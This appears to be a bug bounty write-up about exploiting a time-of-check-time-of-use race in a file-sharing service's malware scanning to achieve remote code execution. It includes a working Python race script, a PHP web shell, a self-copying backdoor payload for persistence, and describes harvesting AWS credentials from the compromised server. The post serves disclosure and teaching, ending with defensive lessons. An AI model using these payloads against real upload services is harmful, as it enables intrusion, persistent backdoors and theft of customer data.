Racing to Root: How a TOCTOU Bug in a File Upload Service Gave Me Complete Server Takeover
A seemingly innocent file-validation race condition in a cloud storage API let me upload executable payloads, bypass antivirus scanning, and ultimately gain RCE on the backend infrastructure.

Recon
I was testing a file-sharing platform that offered "enterprise-grade security" with real-time malware scanning. The application had a straightforward workflow: upload a file, wait for AV scan completion, then access your file via a CDN URL. During initial reconnaissance, I noticed the upload endpoint returned a file_id immediately, but the scan results came back 2-3 seconds later via a webhook.
The upload flow looked like this:
httpPOST /api/v2/upload HTTP/1.1 Host: files.target.com Authorization: Bearer eyJhbG... Content-Type: multipart/form-data [file data]
Response:
json{ "file_id": "f7a3c891-4b2e", "status": "pending_scan", "access_url": "/files/f7a3c891-4b2e" }
Accessing the file immediately returned 403 Forbidden - File pending security scan. Standard stuff. But I had a hunch about the timing.
Discovery
I started experimenting with the race window. What if I could access the file before the AV scan completed? I wrote a quick Python script to upload a file and immediately hammer the access endpoint:
pythonimport requests import threading def upload_and_race(): # Upload malicious file files = {'file': ('shell.php', '<?php system($_GET["c"]); ?>')} r = requests.post('https://files.target.com/api/v2/upload', files=files, headers=headers) file_id = r.json()['file_id'] # Race condition: try to access before scan completes def attempt_access(): for _ in range(100): r2 = requests.get(f'https://files.target.com/files/{file_id}') if r2.status_code == 200: print(f"[!] Race won! File accessible at: {r2.url}") return # Spawn 10 threads threads = [threading.Thread(target=attempt_access) for _ in range(10)] for t in threads: t.start() for t in threads: t.join() upload_and_race()
On the third run: BINGO. One of my threads got a 200 OK and downloaded the PHP shell before the scan marked it as malicious.
The AHA moment was realizing this wasn't just a validation bypass—this was a Time-Of-Check-Time-Of-Use (TOCTOU) vulnerability. The application made the file physically accessible before validating it, likely because they stored files in a public S3 bucket and only updated ACLs after scanning.
Exploitation
Now I needed to weaponize this. The issue was that even when I won the race, the file would get deleted once the scan completed. I needed persistence. I examined the file storage structure and noticed files were stored at predictable paths:
https://cdn.target.com/uploads/2024/01/15/f7a3c891-4b2e.php
The CDN was CloudFront backed by S3. If I could execute my PHP payload during the race window, I might be able to create additional files that persist. I modified my payload:
php<?php if(isset($_GET['c'])) { // Execute command system($_GET['c']); } else { // On first access, copy myself to a hidden location copy(__FILE__, '/var/www/html/.system/health.php'); echo "OK"; } ?>
I uploaded this, won the race, and immediately hit:
https://files.target.com/files/[file_id]
The file executed, copied itself to .system/health.php, and then got deleted by the AV scanner. But my backdoor remained at:
https://files.target.com/.system/health.php?c=id
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Full RCE achieved. From there, I enumerated the environment and found AWS credentials in environment variables that had s3:* permissions on the customer data bucket. Game over.
Impact
- Complete bypass of malware scanning: Any executable could be uploaded and triggered
- Remote Code Execution: Full command execution on application servers
- Data Exfiltration: AWS credentials exposed access to all customer files
- Persistence: Ability to plant backdoors that survive file cleanup
The vendor confirmed this affected all multi-tenant deployments and paid a $15,000 bounty.
Lessons
- Never make resources accessible before validation completes: The file should have remained in a quarantine zone until scanning finished
- Race conditions are real: Even microsecond windows are exploitable with threading/multiprocessing
- Defense in depth matters: Even if the upload race existed, principle of least privilege for AWS credentials would have limited impact
- Storage ACLs should default-deny: Files should be explicitly whitelisted for access, not blacklisted after detection
TOCTOU bugs are often overlooked because developers focus on what gets checked rather than when. In security-critical operations, atomicity isn't optional—it's mandatory.